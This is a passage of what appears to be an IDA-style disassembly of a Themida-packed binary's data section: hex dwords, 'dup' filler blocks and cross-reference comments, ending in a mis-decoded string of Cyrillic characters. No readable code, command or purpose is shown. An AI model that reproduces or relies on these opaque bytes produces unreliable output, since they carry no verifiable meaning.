8BF84249h, 815160D9h dd 1A6417C8h, 810F5A21h, 2, 0BE615F52h, 9464B1h, 178E0Fh dd 12E90000h, 0DF000000h, 3507BB53h, 475AC8A3h, 2026003h dd 0BF0FA95Ch, 50BBF21h, 890F4780h, 5, 2FD08166h, 66D38AF8h dd 807E78BFh, 8E944D8h, 0D9000000h, 4DE79257h, 0F23FE2Dh dd 8A50F6BFh, 9E85BE8h, 33000000h, 3651675Dh, 2807B8BCh dd 0E9D48A60h, 0Fh, 0B750342Ah, 7072DACh, 647B8181h, 614FE0FDh dd 0C9C6815Eh, 0F512680h, 383h, 94C88000h, 1B800Fh, 820F0000h dd 15h, 0FE8h, 0E742FE00h, 50E7FF7Dh, 0D97430A0h, 532A43A2h dd 0D08B665Bh, 48C0Fh, 0BB660000h, 0BEBEADC9h, 6645BE81h dd 9770CE81h, 0DE81B966h, 66C88B66h, 66FC24BFh, 14E8F18Bh dd 0D2000000h, 3B7A5886h, 0AEDDA1DFh, 7599D892h, 5A7F51EEh dd 0B2E1F264h, 8F0F5A05h, 1Eh, 18850Fh, 13E90000h, 82000000h dd 398DB3BEh, 9526A3ABh, 5A887451h, 0F22B6887h, 6E9BF0Eh dd 5D000000h, 75A081Dh, 33B352BAh, 80BE665Fh, 0D68B660Bh dd 14E9h, 7240B800h, 0C9753296h, 5F1B3DDAh, 0FE9B5F3h dd 0A1959FFh, 11E8F55Dh, 0DC000000h, 4D1FFD3Dh, 72580E55h dd 0AECD379Eh, 6E7F85C2h, 0F9B0B966h, 0CA81605Fh, 40090572h dd 61CB8B66h, 66F08B66h, 95A9E781h, 8E0FCB8Bh, 5, 1AE68166h dd 668FB17Eh, 0E0D2DF81h, 55E78166h, 53B7B5E1h, 51FAB25Ah dd 4BC98166h, 52575BBAh, 605F5EFCh, 8B6164B3h, 95CF81DAh dd 8147D95Ch, 0A1BC87CAh, 0FD08B26h, 581h, 4E64BF00h, 0D98B615Eh dd 0C3D88160h, 815BE62Ah, 0D0D17ED8h, 6E9613Dh, 73000000h dd 8B0874D1h, 0ABE281F7h, 0F390A55h, 0F781D3BFh, 695953A0h dd 81F98A60h, 9D0276E8h, 0DE816120h, 0EADC93Fh, 63E4B7B9h dd 2BE6817Ch, 810FEDD4h, 55187AD7h, 98C0F51h, 0F000000h dd 384h, 0F8BF0F00h, 0F9CDB80h, 0D680D8B7h, 0D7816624h dd 0EA8A36AEh, 0F62DF80h, 8B66C0BFh, 50BB66F0h, 0E881660Ch dd 0B70F5909h, 0D1B7F5C8h, 6691EB80h, 3CC8EE81h, 0A7DCE881h dd 0B70F5632h, 0F5E51F0h, 8Dh, 0DE900h dd 0C01A0000h, 7865C956h, 53DD44DFh, 66C85631h, 5A6AE981h dd 6234BA66h, 7BA52F8h, 5B472201h, 944AF081h, 11E921FBh dd 0A7000000h, 988C488Eh, 471AB9EBh, 186A7943h, 0BEC81737h dd 118A0Fh, 0CE90000h, 53000000h, 0E418F163h, 3E8E456Ah dd 0E91BD150h, 0Bh, 0EFD92B85h, 88017E79h, 0E9B19B41h dd 0Eh, 86D1754Ah, 3D4CB49Dh, 349AC76Dh, 0B70F1E40h, 0F78B5CBh dd 5E8F6B7h, 0F1000000h, 20A56E9Fh, 68C0Fh, 0C2810000h dd 5461764Ah, 0C881665Bh, 0E856B044h, 0Fh, 56083998h, 4535D941h dd 0E796E1CFh, 8B748A71h, 0E85A5FC1h, 12h, 183CD745h, 0AEBF9649h dd 0E2844D1Ch, 8D3DAC67h, 3DBA5E93h, 5E348801h, 0BE9h dd 0E14E9700h, 96E7E567h, 0E6402C5Dh, 0F5EFC53h, 284h dd 0F533B000h, 0BAD881FCh, 800C9AC5h, 81667DD4h, 811EE0F6h dd 3DD195D3h, 13E8602Ah, 0AF000000h, 0B15F292Fh, 3F03347Bh dd 0A45910E7h, 0EB0C53C2h, 880FB61Dh, 0 dd 0C9BF0F58h, 0AE961h, 0D6930000h, 18418779h, 0AF71F254h dd 0E8C2BF0Fh, 12h, 9F53C31Ah, 77081090h, 0C3D20A6Ch, 0C4F749CBh dd 850FAE67h, 5, 81A790B8h, 0D88B5900h, 8E98CB7h, 0A3000000h dd 2C7B092Eh, 0BE039EA6h, 56BDDE97h, 0CE9h, 93CF8700h dd 5AC06E80h, 3BEDFE4Fh, 0C88060F8h, 0BE988h, 85980000h dd 0E0AF595Dh, 0B7B84CC1h, 81666104h, 8AB3C1E1h, 801CBFCFh dd 8B660AE1h, 8E8DEh, 131F0000h, 3FDDB8C2h, 830F7E51h dd 13h, 0EE9h, 6DD12A00h, 45480D73h, 241E3F24h, 5A64B19Eh dd 8166F560h, 61C665C3h, 0FD88B66h, 385h, 11F68000h, 66FCCA8Bh dd 0B7AFCE81h, 1917DE81h, 6E91F7Ah, 39000000h, 0BA82F257h dd 4FB86674h, 66516090h, 805BDF8Bh, 0F61B5EEh, 0BF0FF2B7h dd 81F9F8F8h, 70F09BCAh, 0A7D1813Dh, 0F4FCB13h, 850FC1B7h dd 0Ah, 810F60h, 56000000h, 8166615Bh, 6691DDDBh, 0F849DB9h dd 1380h, 0D830F00h, 0E8000000h, 7, 4EDE12B5h, 5B85176Ah dd 61D28166h, 198A0F9Bh, 0E9000000h, 14h, 8D4F3FDBh, 9E32C99Dh dd 0C8DAB277h, 948E3B6Bh, 0E8942D33h, 840Fh, 0AEB80000h dd 0E871A559h, 11h, 0D53D44BFh, 52E271CFh, 87417C7Dh, 0E8AF1159h dd 5ACB8B52h, 66F88B66h, 8DACF181h, 0B9C08166h, 7DD6803Ah dd 5AC38A51h, 0F880F60h, 0E9000000h, 0Ah, 78194710h, 0BB3D3AE3h dd 61F9AD59h, 0EE816660h, 12E925F5h, 0D4000000h, 6363A5C3h dd 200DBB01h, 20ED1585h, 347EE2A5h, 9E86144h, 3F000000h dd 0C378F94Eh, 6220369h, 5AF0B70Fh, 0E1EA8166h, 0FABF0FF5h dd 64CDCBAh, 60D98A76h, 44D78166h, 6E8AFh, 87960000h, 84F6E354h dd 0BE8h, 49742000h, 7151086Ah, 8FDDC84Ch, 66615F5Eh, 6816CE81h dd 4BFCB966h, 9E8h, 0B6D77F00h, 0E7B40E39h, 0F95EF3CFh dd 4810Fh, 0BF660000h, 0F526F95h, 1281h, 0DE900h, 68070000h dd 221680ABh, 0E179589Bh, 5E0C2698h, 0E8DABF0Fh, 0Fh, 0E97CE5h dd 7E228B95h, 0A014FF74h, 0E819A314h, 0Bh, 5B28F816h, 3A2FEAE1h dd 0BA43E021h, 774272EAh, 0E960585Ah, 7, 0F03831DDh, 66F93E49h dd 61C53FBFh, 0D8C0Fh, 8E90000h, 0EE000000h, 6FB9D37h dd 608B2FE1h, 38C06DBEh, 10E86116h, 55000000h, 0FCF0450Ch dd 0E4F4DCB5h, 4A4914D6h, 8011C605h, 8158D4EFh, 0BF1CACE8h dd 0C28B6626h, 53CACB80h, 1F86BE66h, 49E68158h, 0E94A5A73h dd 14h, 972FFD8Dh, 6BC56701h, 6F160786h, 0EBB7A50Fh, 1D0FD75Eh dd 0E9FEBF0Fh, 8, 8A851FC5h, 0FAC4AC00h, 2850Fh, 0CE8B0000h dd 10E9h, 66844100h, 213B545Fh, 0D05F0217h, 0D284BD3Bh dd 0CE88Dh, 0FC5A0000h, 54F633C7h, 0AAA21600h, 0CB8B498Bh dd 0E9D68B58h, 9, 0CC5F8E54h, 0BF2B9308h, 0E9EF80ADh, 0B80EBB60h dd 0DE943AFh, 0C7000000h, 4D7FBA8Fh, 0BC945135h, 0BD5B9496h dd 138E0F61h, 0E9000000h, 0Eh, 131B317Eh, 3D71501Eh, 0C985FC60h dd 14E953CAh, 64000000h, 1D911551h, 8290E14h, 1AD93C26h dd 0A9A81467h, 51A16E23h, 1FA6D781h, 8B5F1B04h, 0DE8CAh dd 68F50000h, 0F51A17C9h, 0C0BFE8F2h, 8B495EC5h, 0C1B35AC6h dd 12E9h, 652F1B00h, 5C81280Eh, 0A2EFDCD6h, 0BC805189h dd 0F83FAD42h, 0EE9h, 0AE9E4B00h, 8E6A9FCDh, 6312D815h dd 56993C66h, 5FF9B70Fh, 0E08166h, 93CA818Eh, 0F2C9B76h dd 18Ch, 0D78AF800h, 3820Fh, 0BF0F0000h, 4870FC1h, 66000000h dd 0B55DEFBAh, 5B5260A8h, 1810Fh, 61F50000h, 0FD78B66h dd 1A8Bh, 0BA666000h, 0FE9E402h, 74000000h, 93DF5D5Bh dd 42944FD0h, 0CD380415h, 60618C79h, 6E9h, 0D7068900h dd 618964C7h, 0C1E9E181h, 8B0F2B35h, 6, 136BC381h, 12E943D7h dd 3D000000h, 40991D34h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh dd 5E980h, 0F1C0000h, 66816F88h, 664E6CBBh, 0BE66D08Bh dd 0FCF8015Eh, 0FF9D48Ah, 38Fh, 0DE8B6600h, 9E860h, 0D20B0000h dd 77F7221Ah, 0BBBB0665h, 0D49CE74h, 0D7816659h, 81617577h dd 2ECE47D6h, 0FE973h, 32F50000h, 45A64512h, 0BF6198F2h dd 8DC2E6C3h, 80F38BF2h, 7E832CBh, 0B000000h, 90188DE0h dd 0BF66E933h, 665ABA9Ch, 8F0FD38Bh, 2, 870FD88Bh, 8, 0C1BF0F60h dd 61C78B66h, 0F023E881h, 81667F6Ah, 66DAE6D7h, 8B09C2BEh dd 13EB9D9h, 13E861F1h, 16000000h, 0E8AA0190h, 57912FC7h dd 2B32649Ah, 0D240581Ch, 10E98F71h, 3C000000h, 5C44DDCh dd 962E8690h, 9A0A4486h, 5FB25519h, 0CE9h, 7302A300h, 656B5238h dd 9444F8F2h, 0CD1DBF61h, 0B8667929h, 0C381574Ah, 3A25833Ch dd 0BE88CE80h, 4FFB2978h, 810FFE8Bh, 0 dd 0EE953h, 0BB1B0000h, 21556E8Fh, 0BA6E5AA9h, 594F4BC8h dd 0EBDB815Fh, 6650AB2Bh, 0F18A2BBh, 81h, 5DC5BB00h, 0D080444Ah dd 0E780F9C3h, 48EA8102h, 0F905437Bh, 0E946B260h, 5, 0E4537A40h dd 0DF8B6107h, 3880FF5h, 80000000h, 0B70F50D3h, 2C810FCFh dd 0E8000000h, 0Fh, 473C3416h, 17A82285h, 94C80DF3h, 0E88D2005h dd 11h, 942BCAB1h, 0A46258DEh, 88E1491Dh, 0E6B1B0A1h, 665B5910h dd 263CEE81h, 60D8B70Fh, 850F51h, 5E000000h, 61D98B66h dd 8B66F8F5h, 48E0FD7h, 66000000h, 0B64170B9h, 96BF6685h dd 0FE950B2h, 18000000h, 0CAE9B687h, 0A2A5E073h, 31C5B557h dd 0B25F21B0h, 13E960E2h, 0E000000h, 0B21A4263h, 0BD0B357Fh dd 2DF8C154h, 2E4A383Bh, 860F5892h, 5, 9BC68166h, 840F61FBh dd 0Bh, 6E9h, 73667000h, 8B81A85Ch, 0D0F180DFh, 0E9AADF80h dd 7, 28879AE0h, 51D60C30h, 0F55AFB8Bh, 8D9DD981h, 14E94FE5h dd 0FE000000h, 8BE4D73Dh, 0E447A33h, 0A6941399h, 0F4ED61F6h dd 8060D337h, 0BF0F73C4h, 0B86660F0h, 13E9ECF7h, 0FA000000h dd 5AF5F210h, 94885E62h, 0B3120845h, 5A9E9F21h, 0F619B3Dh dd 880h, 28C0F00h, 50000000h, 69BA665Ah, 0C3BF0FF9h, 0F53F380h dd 0BB66DBBFh, 8E0FCB8Fh, 2, 0BF0F5EB1h, 0F28B66FEh, 53FA8B66h dd 2B4BCA81h, 0F5F6237h, 0E860F9B7h, 8, 24BE0DC1h, 0F2C2FDBEh dd 65DB8166h, 0CE95E6Fh, 0F5000000h, 628587FDh, 6C35964Fh dd 61BDE8C0h, 0C27DC381h, 8166255Dh, 57C20DDEh, 86BF6659h dd 6652603Ah, 4C85D781h, 6661F85Eh, 13E9F18Bh, 8B000000h dd 7EFD023Dh, 27B569BDh, 0A7896050h, 9DC027E5h, 31BF489Eh dd 661D7297h, 1906D381h, 235EF81h, 8B660EFCh, 89BF66F8h dd 80BB510Bh, 590B4A9Eh, 66DFB70Fh, 667BB3BBh, 6602B9B8h dd 0E88943BFh, 5, 5A8D3A53h, 0B6B0514Ah, 8B665F59h, 0E8C18BC3h dd 9, 78708398h, 0E7DE9D80h, 2880FC9h, 0B6000000h, 8166593Ch dd 0B98DC5C9h, 191294B3h, 0DBD5DA81h, 6053667Eh, 0D38B78B7h dd 81665E61h, 539201F6h, 5C0265B9h, 0BF0F5A0Fh, 0D0BF0FD1h dd 0CF8B31B1h, 22EB8166h, 5936B91Bh, 0E8806275h, 39EA818Ah dd 66326A1Ah, 0E9FCC38Bh, 6, 0F0D1576Eh, 0BA668328h, 0F6028ECh dd 0CF81CAB7h, 1D9CCF99h, 860F61h, 66000000h, 8BFD32BEh dd 816651D6h, 58E1AADBh, 0AE8h, 0E64D1600h, 0BACC11A4h dd 5BF24F9Eh, 10870Fh, 0BE90000h, 36000000h, 0A9EA337Bh dd 0C5E17C1Dh, 0BA66F5A5h, 8D0FD494h, 2, 0F60D88Ah, 28Fh dd 61616000h, 59CD80B9h, 0CA8BF83Dh, 7B82B966h, 7840Fh dd 890F0000h, 1, 9BC680F5h, 6677CB80h, 0FA259B9h, 48Ah dd 90BA6600h, 0DF8B664Ah, 11E8h, 11019900h, 0BEA64C27h dd 27187A0Fh, 74FA5A1Dh, 5BF5BA9Bh, 0F28B5853h, 11E9F5F8h dd 28000000h, 7C26C82Fh, 5C64ACA0h, 0DFB9962Bh, 55BE4C9Fh dd 5B575660h, 51D2815Eh, 6171F036h, 18E0Fh, 0FCF90000h dd 0FE935B6h, 3E000000h, 0E4C757B4h, 0C8AB97Bh, 0B3463410h dd 0E857FC95h, 7, 0F1193EE9h, 0B91D8476h, 0B7B86F9h, 0F18A5F58h dd 66F2B70Fh, 669F5CB9h, 8166F38Bh, 662A23E7h, 71A0C881h dd 0B11403BEh, 0FE86036h, 3B000000h, 6ADA047Fh, 15D6F77Bh dd 5F14ACF0h, 0C28B1AF2h, 840F5Ah, 61000000h, 870F60F8h dd 4, 3A75B866h, 52CBBE66h, 5810F61h, 0B8000000h, 3CD81EA5h dd 9BB95F50h, 816A668Eh, 6B02E7E0h, 0D7816633h, 816662F8h dd 8B57C7DEh, 0EF68BED0h, 20B546CCh, 860FF48Ah, 4, 3832BA66h dd 0C6B70FF9h, 77B1BB66h, 0E767EA81h, 81663233h, 817862D0h dd 0E8A65BDAh, 2A6FBE54h, 0DA8B744Bh, 0BB3A7ABBh, 5E947h dd 0B2000000h, 8BEA1C7Dh, 0E95B53D1h, 0Bh, 7832EB3Bh, 0C74F99D2h dd 0F529DACh, 0B866CABFh, 810FDA29h, 13h, 0EE9h, 20357200h dd 740A465Dh, 9DE545EBh, 66FFFED1h, 0F3C0D781h, 0E9C28166h dd 0D0816672h, 0ED80820Eh, 58C0FC9h, 66000000h, 6B47CA81h dd 1770C281h, 66FC0C72h, 660791BAh, 8B0FCF8Bh, 1, 0FFB70FFCh dd 8E9h, 0B24F5E00h, 55CCFA82h, 5840F17h, 56000000h, 5FF0E080h dd 10E957h, 23D0000h, 69BD7EFDh, 605027B5h, 27E5A789h dd 66589DC0h, 989EE681h, 83471CB9h, 1CC08137h, 0F81C9222h dd 0DE960h, 5E0C0000h, 7FCA4D32h, 0A8C02CDDh, 813DC445h dd 15A011E1h, 0BF0F617Fh, 12800FD3h, 0E9000000h, 0Dh, 779FD083h dd 0CA09CF7Dh, 4BEED93h, 8E950EBh, 37000000h, 613878B8h dd 5E25B7DFh, 69DE8166h, 0BE9C0h, 0EF420000h, 1A8292E8h dd 6179D872h, 12E84Eh, 0A1540000h, 87342F44h, 6E785ED2h dd 0D739E128h, 68B08280h, 615F5160h, 66F78B59h, 887BCB81h dd 0BE9h, 1F562E00h, 0D9F26Ch, 9341D025h, 0E9FE8B66h, 0Fh dd 0A80738EEh, 0C3904882h, 4F072581h, 0E9536E65h, 6, 7B1C3C3Bh dd 0C0B15FB1h, 0C1816657h, 0B35FD66Dh, 0E96AB2D2h, 0Ah dd 8CD8AFC1h, 0C283E288h, 0DE963C8h, 0A2000000h, 0D1C77A8Ch dd 0F8E2A7C0h, 8323ECD4h, 0D7782FBEh, 2810F34h, 8A000000h dd 38DA80F7h, 8BE5C580h, 38B0FC8h, 0F000000h, 0CE9C1BFh dd 2D000000h, 9A623E90h, 0F8638C01h, 6682716Fh, 0B1BFD18Bh dd 804BD8D1h, 0F56D5EBh, 0F55ACABFh, 71B866F8h, 6E9D8h dd 0A2D0000h, 0AC1F96E9h, 0D642C181h, 57601BBEh, 36E28166h dd 0E9615A51h, 9, 6A40004Eh, 3BE73049h, 9E94Ah, 7BC70000h dd 608E0F72h, 60589527h, 4FB7C081h, 0D7812AF8h, 7E5C117Eh dd 29F18061h, 0BEC8B70Fh, 57CE7CFBh, 3850Fh, 8B660000h dd 0CABBF8C6h, 0E936AB3Ah, 7, 0F4F69365h, 0F905406h, 6057C3BFh dd 8B0Fh, 61600000h, 0D9815861h, 65268701h, 0BE9h, 72A44900h dd 41AAE072h, 0FD82C725h, 11E9F8h, 0EC060000h, 34A5FA35h dd 0E8E08005h, 0EE4C6FDDh, 52D552CAh, 866E881h, 0E95F7560h dd 11h, 0E0F099ADh, 0AA19B938h, 0CCF0F590h, 3025A0CBh dd 536057C3h, 870F5Eh, 61000000h, 6890F59h, 56000000h dd 0F3D7BF66h, 36EA815Ah, 0F2B5469h, 1084h, 0BE900h, 8F380000h dd 40794905h, 55699DEDh, 0AE902h, 3630000h, 39A1A39Ch dd 2A834A17h, 0C38166F9h, 66523DE3h, 5B17C7BAh, 800Fh dd 0BF0F0000h, 10E9D9h, 0DFD90000h, 5DB1E9FFh, 0A43AD8EDh dd 3207A235h, 6660911Ch, 0B161F98Bh, 0FF50BE1Bh, 0BB6607E1h dd 8166DA18h, 0E96D33D0h, 9, 299FA25Dh, 6B48032Fh, 80D88BBBh dd 505014CEh, 0BE137BBh, 0B3595E60h, 8130B906h, 0BA6649A6h dd 0BA66540Ch, 49B8EB6Dh, 664FFDDEh, 0BF068DB9h, 4D6F3800h dd 0F920EF80h, 12E9F8h, 4EF60000h, 0D725D152h, 2C70779Ch dd 68FE5045h, 0DF923F08h, 0FF7BF0Fh, 7E9F7B7h, 6000000h dd 0F13C7E1Ah, 1BBEB623h, 603A8564h, 7118B966h, 0C3B70F61h dd 8166D08Bh, 0E94A11CEh, 11h, 8D508A35h, 3BB9AA08h, 0FB78C1D4h dd 74AB0C93h, 80B8666Ah, 0CE945h, 0B6560000h, 4181C7AAh dd 8BB95A52h dd 8F0FD5B6h, 3, 66D5DC80h, 80D6A7B8h, 6060DCE4h, 7AEE8061h dd 0F98AF861h, 575AF957h, 49D7805Bh, 66F08BF5h, 5250DA8Bh dd 66585AFCh, 0F0A76BFh, 580h, 0D9816600h, 8A0FEC32h, 3 dd 0E9FE8B66h, 9, 130A2F7Ah, 8FF8031Fh, 168C0FC5h, 0E8000000h dd 0Fh, 47405356h, 4A9B64C9h, 885D1A2Fh, 0FC03CB2Dh, 48B0F5Eh dd 66000000h, 0FF5FDBFh, 0B70FF6B7h, 0B70F60F2h, 0D7B70FF1h dd 96BE6661h, 12870FF3h, 0E9000000h, 0Dh, 919802A6h, 21EE450Ah dd 0CE262ACCh, 90E78171h, 81533523h, 9CD88FD2h, 5E816h dd 2F5A0000h, 8A0C7E6Ah, 8B6658D9h, 52B0B1DFh, 0ABE68166h dd 0E96059D5h, 12h, 6131C4B9h, 75EE1116h, 70E1219Dh, 691FB956h dd 666156C7h, 0F5997DBAh, 0DE8h, 0BB124000h, 3D3EA524h dd 0B3407F97h, 0C681B3EFh, 7D394D88h, 5E958h, 48060000h dd 0E97BC9B4h, 12h, 5166AEA9h, 84BF0C27h, 7D37CE54h, 3C41430Fh dd 6ABF7BC2h, 0E9343E74h, 5, 8BAAA216h, 0FE949h, 55410000h dd 973CE4AAh, 0DBB3EC84h, 0E2382373h, 9ABE6613h, 0F7B70FD9h dd 9E960h, 7A730000h, 750A2184h, 800BFD91h, 0B961BBD5h dd 39796DBAh, 8E1BE60h, 0FA8B4D3Ah, 0AE961h, 86CE0000h dd 0F20774Ch, 0D843D8CCh, 14E8h, 0E488CE00h, 0BC97041Ah dd 98DBFA0Bh, 0C7181AD0h, 0F231971Fh, 9CABBEECh, 0E8586A19h dd 0Dh, 0FBE770h, 0F87BC5F7h, 5B91AB57h, 58F88B98h, 11E3D081h dd 0DE870E5h, 0A000000h, 4B762E26h, 0FC7306EDh, 129DEC2Eh dd 0A850Fh, 5E90000h, 2D000000h, 0C2C04603h, 11E85Fh, 49180000h dd 1CAEBF96h, 67E2844Dh, 938D3DACh, 6660CF5Eh, 591C91B8h dd 13E9h, 664E8200h, 0F479A5F1h, 0E7008B23h, 9E7E6C4Bh dd 154457EBh, 5E8h, 2FA0F500h, 0CE8BD110h, 3860F58h, 0F000000h dd 890FFAB7h, 3, 66D9BF0Fh, 9562E181h, 0E9C8B70Fh, 6, 0D2EC7567h dd 0F7806645h, 0C3BF66E0h, 12E96039h, 4D000000h, 4DA7212Bh dd 0EA94D76Dh, 0FCFE7CE4h, 4243BA0Bh, 7BBF573Ah, 5E2710ADh dd 8E961h, 0D4E70000h, 0F30223DDh, 50600E0Eh, 8E8h, 4A06F200h dd 25ECD6ACh, 0B95E5F04h, 382E788Fh, 9E961h, 6BC0000h dd 0CA6F6B6Ch, 0E879E519h, 12h, 2B4C1A1Ch, 0CB9FB466h dd 0E4901315h, 9254F862h, 5ABEAB56h, 5B7FE591h, 59C78B56h dd 0F5C38B66h, 48E0Fh, 0BF660000h, 0F5727F3h, 6659CBBFh dd 0E97D1CB9h, 0Ah, 56074690h, 7D8966D6h, 8AF84121h, 0F08166C3h dd 850F4C97h, 2, 8166B4B5h, 667167C1h, 0F871F6BEh, 19850Fh dd 14E90000h, 0D000000h, 5560ACDCh, 0FB4B34C3h, 8B542FE4h dd 3A1E1D43h, 0E939B3AAh, 0Ch, 0AD8EB2A3h, 0D6F9D433h dd 1584AE97h, 9E8h, 0FF110900h, 0EB02EB2Bh, 0FC5844FBh dd 0DE5842BAh, 59F55142h, 7F8EBE66h, 1810Fh, 0FFC0000h dd 86h, 0C18B6600h, 8B59F552h, 88B0FF8h, 60000000h, 850Fh dd 0B3610000h, 0BE85052h, 0A5000000h, 84CD8588h, 0E0D65862h dd 5A5F16EEh, 8E9h, 0FB8B0C00h, 0C246E524h, 5E9ADh, 19650000h dd 600A62CEh, 0E0DE8166h, 61D98B33h, 142BF281h, 80FC08E7h dd 53BAA5D9h, 8B706A51h, 0ABD480FBh, 0D3D28166h, 0DE840h dd 0F1510000h, 0CC99D13Eh, 0BE3F0482h, 52BD6166h, 9E8h dd 0D51C9600h, 0B5E3A968h, 5A5B5759h, 17D4805Bh, 0BE957h dd 597F0000h, 0EC11C499h, 0FE7193AEh, 0F5805F9Fh, 51DA8B7Ch dd 5BDE8B66h, 0DE9F960h, 19000000h, 0D1C242FBh, 0BCB4CD35h dd 0B36B80B6h dword_5B8048 dd 0EE8A5761h, 840F5Eh, 0B9000000h, 298CC3Dh, 0ED5DF181h ; DATA XREF: Themida_:0053D830o dd 0D98A44C2h, 6E8h, 8F862300h, 6657D983h, 0F6C2D781h dd 4FC2815Bh, 0F223C94h, 0EE9D9B7h, 1D000000h, 63A9E86Ch dd 0F4191B87h, 346E2C83h, 11E8F4h, 0C39F0000h, 36E62F86h dd 23BBEFEBh, 0E2DE5E80h, 8B484709h, 11BE59F9h, 6655C40Ch dd 0A5E5DB81h, 33B95060h, 5817ADD8h, 61E5C080h, 0E9FB8B66h dd 0Dh, 1A4416DAh, 97416CE4h, 0E7A5BF73h, 0AE9D6h, 0ADDB0000h dd 0F73CC4BEh, 0E205EEE1h, 8166D8B3h, 66C706E1h, 8B7DB9BFh dd 0B70F60D8h, 615E50F1h, 8BE5CE80h, 0BE8F8CBh, 0AB000000h dd 0D9A98E76h, 0A5F55F4Dh, 5BE95A5h, 5F3F0CB8h, 9E28166h dd 0FBB70F02h, 8840Fh, 800F0000h, 2, 8166F18Bh, 0F34AEF1h dd 587h, 9FEB800h, 0BF667E24h, 75B3CA5Eh, 7E960h, 3BE0000h dd 75115F49h, 5ED781F6h, 61576CE3h, 0E84E881h, 9E912B5h dd 85000000h, 2D40B921h, 7BFDC153h, 114CEF81h, 0BF0F5BD3h dd 10E8D1h, 809A0000h, 48DCC96Fh, 0F4A0343Ah, 948A9118h dd 0CB8140DFh, 23D2C22Dh, 0ACF08059h, 0DE860h, 0CCCB0000h dd 49C9654h, 10D554A1h, 0B12647C7h, 0BF0F5843h, 74B961D7h dd 664D5827h, 9621CA81h, 0BF66CF8Bh, 14E9D8A4h, 0E5000000h dd 0E88B2BDFh, 712244DEh, 5E4FBA7Fh, 8CF38853h, 0E9BA98D5h dd 8, 35CD9C95h, 625C6D1h, 3860Fh, 8B660000h, 8A5B51DFh dd 14E8D8h, 8E470000h, 0B2120128h, 6D42FC67h, 0C5BAFDA6h dd 9CC0A080h, 8B66810Eh, 8B6658C2h, 0D2BF66F0h, 0EE978h dd 0E7A10000h, 8F98B052h, 0C6EAAE65h, 0DCE0F448h, 0DF8BC28Bh dd 8A38F680h, 1FF081C1h, 0F5E20A5h, 85h, 0F606000h, 8Dh dd 13E96100h, 98000000h, 5A745B2Dh, 48FB14Bh, 159B656Ah dd 673768A3h, 8061986Bh, 0D88AFFF3h, 0BBD38B66h, 0C465ADCh dd 0CE851h, 0F49A0000h, 0D7A3AA0Ah, 0CE4CCFFAh, 0E58056BFh dd 665F5F9Ch, 0E202C281h, 0E960FB8Bh, 0Eh, 172CFAE2h, 0D1D48B67h dd 0B5FBDA57h, 8B661501h, 9E861C2h, 0B1000000h, 0FBF5BD72h dd 0E233137Eh, 890Fh, 665E0000h, 8BF04DB8h, 80DC8AD7h dd 0B96682C9h, 0CE9FFD6h, 97000000h, 0C301DB49h, 9386EF00h dd 50A0CDE9h, 6CDEEA81h, 8B5E7C63h, 13E9CFh, 42050000h dd 22429BDCh, 3336BE0Fh, 0E0C819B7h, 91C8E0A0h, 0E96052DAh dd 0Eh, 0B8F568E1h, 19F2AC26h, 0BF58317Dh, 8E996F0h, 0FC000000h dd 9991199Eh, 6183C90Ch, 0CCB8665Bh, 0BAACB755h, 4F79681Eh dd 0A903B6B9h, 13E83Dh, 0A0BC0000h, 54704FECh, 0AE2A24EAh dd 3C1EC7E1h, 0B364691h, 5B1FB6C4h, 8BD2BF0Fh, 0CE8F7h dd 71F40000h, 5D557219h, 1E191569h, 505822DEh, 0F5818B5h dd 58Ah, 0F3806000h, 60F961F4h, 3DDBFAB9h, 0D2BF0F2Ch dd 0FAE28161h, 0F605A43h, 28Fh, 0FF98B00h, 880FDEB7h, 0Bh dd 58C0Fh, 9BB90000h, 0E8701974h, 11h, 74BC1273h, 8B982CF5h dd 5FBDACE7h, 63E46FE5h, 0CA816650h, 8A59978Dh, 0F58060D7h dd 0F6BF0FB6h, 0F9C78B61h, 0CE9F9h, 7DCB0000h, 0E87D26FBh dd 1B3EDB50h, 8166A846h, 0E935E5D0h, 0Ah, 0F3413013h, 41BA7177h dd 0B966FBD5h, 870FFC43h, 6, 0CB76F381h, 8D0F2F74h, 8 dd 2860Fh, 2EB40000h, 0E8F88BFCh, 10h, 3089037Eh, 0DFE812A7h dd 34C9F734h, 0B38C3109h, 6EE9F381h, 0E95B2435h, 10h, 61131450h dd 0A01F060h, 0A1C5A555h, 3532564Bh, 66DFBF0Fh, 0A644DF81h dd 6850F60h, 0F000000h, 85h, 6890F00h, 0F000000h, 8Ah dd 8B0F6100h, 3, 8004CE80h, 816685DBh, 0F3CBCDAh, 198Bh dd 14E900h, 2E470000h, 13C97CC5h, 1BBA73C4h, 0B5073B02h dd 673F83F5h, 850F5BE3h, 2, 0FB8BA9B6h, 56FB8B66h, 5FD08B66h dd 0BB95C980h, 4B869587h, 0E281F78Bh, 32855FD1h, 14D881F9h dd 0F6FBAE9h, 0BE9FEB7h, 54000000h, 941A54A0h, 0E5921D6Fh dd 0F5605F24h, 0E9616060h, 12h, 8749BB4Dh, 29A74D11h, 2B94307h dd 1108AAA1h, 6161D4E8h, 0E8DA8B66h, 12h, 60904F8Ch, 18F69FC9h dd 8BB39CF3h, 0AEC082F0h, 8166341Fh, 5EB6D8F2h, 830Fh dd 0B70F0000h, 11E8FEh, 0FFF60000h, 0C7D8D066h, 0AF150F5Fh dd 382C5ACh, 60043D6Dh, 8A0Fh, 0EE80000h, 7C000000h, 0EF44E1EDh dd 0D5D6B7FAh, 454264AAh, 5F615E16h, 0FE9h, 82AD5700h dd 0B37F40DBh, 48BAEEFCh, 0AEB3D138h, 6840F57h, 0F000000h dd 87h, 8B0F5F00h, 0 dd 8166D08Bh, 813EEEE2h, 3141B5E7h, 28B0F0Ch, 0B2000000h dd 4DCE8062h, 0CF63BA66h, 1EE163BAh, 57F38A0Ah, 58A0Fh dd 77BE0000h, 597A0856h, 0DE9h, 0C8AE7300h, 65B218FFh dd 49155953h, 479A5969h, 130h dup(479AD736h) dword_5B8A68 dd 1E6h dup(479AD736h), 0CB9AD736h, 0A3h dup(0CB5A194Eh) ; DATA XREF: Themida_:0055598Bo dd 0C95A194Eh, 41h dup(0C99A1FFEh), 172h dup(0E44F71D4h) dd 0D60DA9D4h, 9Dh dup(0D60DA982h) db 82h byte_5B9DD9 db 0A9h, 0Dh, 0D6h ; DATA XREF: Themida_:0053D798o dd 0C250282h, 432h dup(0C250229h), 0CCCCCC29h, 5AFh dup(0CCCCCCCCh) asc_5BC568 db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: Themida_:00562C60o db 